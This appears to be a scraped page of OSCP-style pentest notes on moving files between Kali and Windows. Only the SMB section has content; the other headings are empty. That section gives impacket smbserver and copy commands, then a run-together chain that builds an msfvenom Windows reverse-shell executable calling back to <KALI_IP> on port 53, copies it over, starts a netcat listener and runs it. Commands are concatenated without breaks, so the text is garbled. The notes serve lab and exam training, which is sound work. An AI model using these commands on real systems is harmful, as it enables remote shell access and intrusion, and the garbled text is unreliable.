File Transfer Techniques
Linux to Windows File Transfers
Using SMB Server
# On Kali - Start an SMB server in the current directory
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share_name .
# On Windows - Copy file from the SMB share
copy \\<KALI_IP>\share_name\file.exe C:\destination\file.exemsfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=53 -f exe -o reverse.exesudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .copy \\<KALI_IP>\kali\reverse.exe C:\PrivEsc\reverse.exesudo nc -nvlp 53C:\PrivEsc\reverse.exe
Using HTTP Server
Using FTP Server
Windows to Linux File Transfers
Using SMB Server
Using Netcat
Using Base64 Encoding
Creating Reverse Shells
Windows Reverse Shells
Linux Reverse Shells
Tips for OSCP
Common Issues and Solutions
SMB Connection Refused
Antivirus Blocking Transfers
Permission Issues
Last updated